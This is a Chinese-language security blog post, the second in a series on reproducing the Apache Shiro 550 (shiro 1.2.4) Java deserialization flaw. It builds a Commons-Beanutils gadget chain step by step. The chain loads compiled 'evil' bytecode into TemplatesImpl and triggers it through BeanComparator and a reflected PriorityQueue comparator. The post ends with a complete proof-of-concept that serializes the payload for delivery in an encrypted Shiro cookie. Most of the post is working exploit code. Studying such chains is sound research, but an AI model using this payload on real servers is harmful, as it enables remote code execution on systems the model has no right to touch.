Java反序列化-shiro550-②

发布于 2022-11-12  98 次阅读


author: bilala

复现环境

  • tomcat8.5
  • jdk1.8
  • shiro1.2.4

Commons-Beanutils

虽然在①中,我们使用CC链打通了shiro反序列化,但实际上shiro并没有cc依赖,不过shiro中有一个commons-beanutils依赖,这个依赖主要是扩充了JavaBean语法,能够动态调用符合JavaBean的类方法,例如getAge,setAge等。

使用示例

先写一个JavaBean

public class Person {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

测试代码

import org.apache.commons.beanutils.PropertyUtils;

public class CBTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person("bilala", 20);
        // CB调用,!!相当于调用了person.getName!!
        System.out.println(PropertyUtils.getProperty(person, "name"));
    }
}

image-20221111222321879

链子分析

我们在CC3中有使用到TemplatesImpl这个类,当时用到的是他的newTransformer方法,CB链中也是用到了,不过是从getOutputProperties这个方法中进入的

image-20221111223329650

getOutputProperties正好满足我们cb动态调用(getXxx的都可以),所以直接copy CC3的前半段写出如下测试代码

public class CBShiroExp {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        // 这里需要先写一个Test类然后编译
        byte[] code = Files.readAllBytes(Paths.get("E:\\code\\JavaSec\\cc-all\\target\\classes\\com\\evil\\cc3Evil.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates, "outputProperties");
    }
}

成功弹出计算器

image-20221111223540680

所以接下来要找哪里调用了getProperty

image-20221111223752653

注意这个BeanComparator类,这个类的compare方法中调用了getProperty,而且这个类可被序列化

compare方法在cc4中也有接触到,当时用的是队列那个类去触发,这里也是同理

测试代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CBShiroExp {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        // 这里需要先写一个Test类然后编译
        byte[] code = Files.readAllBytes(Paths.get("E:\\code\\JavaSec\\cc-all\\target\\classes\\com\\evil\\cc3Evil.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator("outputProperties");

        PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator);

        priorityQueue.add(templates);
        priorityQueue.add(1);

        serialize(priorityQueue);
        unserialize();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
        in.readObject();
    }
}

运行后报错

image-20221112002705117

找不到方法,查看调用栈可以看到是在add的时候就触发了compare方法,而compare时,我们并没有传入东西,所以找不到方法

我们可以把队列设空

PriorityQueue priorityQueue = new PriorityQueue<>();

不过这会带来新的错误

image-20221112005207666

这里我们可以利用CC4中的TransformingComparator类,再利用反射改回值

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(1);

Class clazz=PriorityQueue.class;
Field comparatorField = clazz.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);

serialize(priorityQueue);
unserialize();

这里还需要注意的是BeanComparator的构造方法,调用了ComparableComparator,而这玩意是CC依赖的,shiro中又没有CC,所以这里也要改

image-20221112005753598

改起来也简单,换一个构造方法就行

image-20221112005927577

所以我们需要找一个类,继承了Serializable和Comparator(有很多,这里使用AttrCompare

到此构造链就完毕了

最终POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CBShiroExp {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "aaa");

        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        // 这里需要先写一个Test类然后编译
        byte[] code = Files.readAllBytes(Paths.get("E:\\code\\JavaSec\\cc-all\\target\\classes\\com\\evil\\cc3Evil.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);

        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(1);

        Class clazz=PriorityQueue.class;
        Field comparatorField = clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        unserialize();
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin"));
        in.readObject();
    }
}

同样在生成后,用shiro的cookie加密方式加密一下,再传过去

image-20221112010153530

参考资料

https://www.bilibili.com/video/BV1uf4y1T7Rq/?spm_id_from=333.999.0.0&vd_source=0787520db3328a59550fd32baf2c85d4